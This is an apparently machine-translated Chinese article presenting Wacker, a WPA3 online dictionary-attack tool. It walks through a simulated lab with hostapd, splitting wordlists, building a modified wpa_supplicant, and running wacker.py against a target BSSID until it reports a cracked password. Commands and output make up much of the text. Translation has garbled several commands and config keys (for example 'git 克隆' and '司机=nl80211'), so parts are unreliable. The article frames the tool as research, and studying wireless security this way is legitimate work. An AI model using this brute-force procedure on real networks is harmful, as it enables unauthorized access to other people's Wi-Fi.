瓦克
威克是假冒功能唯一的WPA3破解工具 这个工具由多个脚本文件组成。可以帮助其他研究人员针对WPA3
无线
接入点进行在线破解攻击。威克利用了w_supplicant控制接口来控制请求守护进程的行为,并获取状态信息和
事件通知。最终实现在崩溃过程中的连接加速。
寻找WPA3无线接入点
如果你已经有一个目标WPA3无线接入点的话 那就不用看部分了。相对来说还是比较麻烦的。
模拟现场环境
我们可以使用以下命令,配置我们自己的软件资源(802.11)并加载正确的mac80211_hwsim模块:
- # modprobe mac80211_hwsim radios=4
- # iwconfig
- wlan0 IEEE 802.11 ESSID:关闭/任意
- 模式:管理接入点:非关联 Tx-Power=20 dBm
- 重试短限制:7 RTS thr:off Fragment thr:off
- 电源管理:开
- wlan1 IEEE 802.11 ESSID:关闭/任意
- 模式:管理接入点:非关联 Tx-Power=20 dBm
- 重试短限制:7 RTS thr:off Fragment thr:off
- 电源管理:开
- wlan2 IEEE 802.11 ESSID:关闭/任意
- 模式:管理接入点:非关联 Tx-Power=20 dBm
- 重试短限制:7 RTS thr:off Fragment thr:off
- 电源管理:开
- wlan3 IEEE 802.11 ESSID:关闭/任意
- 模式:管理接入点:非关联 Tx-Power=20 dBm
- 重试短限制:7 RTS thr:off Fragment thr:off
- 电源管理:开
复制代码
选择一个新的接口作为你的 WPA3 接入点 并使用以下配置文件:
- # cat hostapd.conf
- 接口=无线网络0
- ssid=WCTF_18
- 司机=nl80211
- hw_mode=g
- 频道=1
- logger_syslog=-1
- logger_syslog_level=3
- wpa=2
- wpa_passphrase=空气力学
- wpa_key_mgmt=SAE
- rsn_pairwise=CCMP
- ieee80211w=1
- group_mgmt_cipher=AES-128-CMAC
复制代码
接下来,运行以下命令开启入口点:
- # hostapd -K -dd hostapd.conf
复制代码
字典文件分割
如果你想要对字典文件进行分割的话,可以直接使用本项目提供的split.sh脚本来实现:
- # ./split.sh 10 赛博朋克.words
- 50916 赛博朋克.words.aaa
- 50916 赛博朋克.words.aab
- 50916 赛博朋克.words.aac
- 50916 赛博朋克.words.aad
- 50916 赛博朋克.words.aae
- 50916 赛博朋克.words.aaf
- 50916 赛博朋克.words.aag
- 50916 赛博朋克.words.aah
- 50916 赛博朋克.words.aai
- 50907 赛博朋克.words.aaj
- 共509151
复制代码
构建wpa_supplicant
我们在该项目中提供了wpa_supplicant,以保证部分配置的正确性和程序源代码的稳定执行如需构
建自定义的wpa_supplicant。只需要按照以下代码操作自己。
- # apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev
- # cd wpa_supplicant-2.8/wpa_supplicant/
- #cp defconfig_brute_force .config
- # make -j4
- # ls -al wpa_supplicant
- -rwxr-xr-x 1 根根 13541416 5 月 31 日 16:30 wpa_supplicant
复制代码
在这里,我们还可以添加一些新的事件消息并挂载到wpa_supplicant 控制接口以帮助更好地分析瓦克流量。
- /** 我们蛮力的东西 (WPA3) 认证成功 */
- #define WPA_EVENT_BRUTE_SUCCESS "CTRL-EVENT-BRUTE-SUCCESS "
- /** 我们的暴力破解(WPA3)认证失败*/
- #define WPA_EVENT_BRUTE_FAILURE "CTRL-EVENT-BRUTE-FAILURE "
复制代码
依赖组件-Python要求
该项目的wacker.py脚本使用了一些f-strings以及pyont3-isms。在使用Wacker之前我们需要
在本地计算机中安装好Python 3.7,以及相关的依赖组件:
- # apt-get install build-essential tk-dev libncurses5-dev libncursesw5-dev libreadline6-dev libdb5.3-
- dev libgdbm-dev libsqlite3-dev libssl-dev libbz2-dev libexpat1-dev liblzma-dev zlib1g-dev libffi-dev -是
- # wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tar.xz
- # tar xf Python-3.7.0.tar.xz
- # cd Python-3.7.0
- # 。/配置
- # make -j4
- # 进行 altinstall
复制代码
工具下载
在安装好各自的依赖组件及环境之后 有多个研究人员可以使用下面的项目源码复制至:
- git 克隆 https://github.com/blunderbuss-wctf/wacker.git
复制代码
工具运行
wacker.py脚本可以帮助大家研究人员执行以下任务:
- # ./wacker.py --help
- 用法:wacker.py [-h] --wordlist WORDLIST --interface INTERFACE --bssid BSSID
- --ssid SSID --freq FREQ [--start START_WORD] [--debug]
- WPA3 字典破解器。必须以root身份运行!
- 可选参数:
- -h, --help 显示此帮助信息并退出
- --wordlist 要使用的 WORDLIST 词表
- --interface 接口
- 使用界面
- --bssid 目标的 BSSID bssid
- --ssid SSID WPA3 AP的ssid
- --freq FREQ 频率
- --start START_WORD 单词以在单词列表中开始
- --debug 增加日志输出
复制代码
我们可以使用一个实例来执行攻击测试:
- # ./wacker.py --wordlist Cyberpunk.words --ssid WCTF_18 --bssid
- 02:00:00:00:00:00 --interface wlan2 --freq 2412
- 开始时间:2020 年 8 月 21 日 07:40:11
- 正在启动 wpa_supplicant...
- 5795 / 509151 字 (1.14%) : 79.41 字/秒 : 0.020 小时 : 1.76 小时耗尽 (2020 年 8 月 21 日 09:25:49)
- 找到密码:'Aeromechanics'
- 停止时间:2020年8月21日07:41:24
复制代码
我们也可以运行多个Wacker实例来进行测试,还可以对字典进行分割:
- # ./wacker.py --wordlist Cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:0
- 0:00:00:00 --interface wlan1 --freq 2412
- # ./wacker.py --wordlist Cyberpunk.words.aab --ssid WCTF_18 --bssid 02:0
- 0:00:00:00:00 --interface wlan2 --freq 2412
- # ./wacker.py --wordlist Cyberpunk.words.aac --ssid WCTF_18 --bssid 02:0
- 0:00:00:00:00 --interface wlan3 --freq 2412
复制代码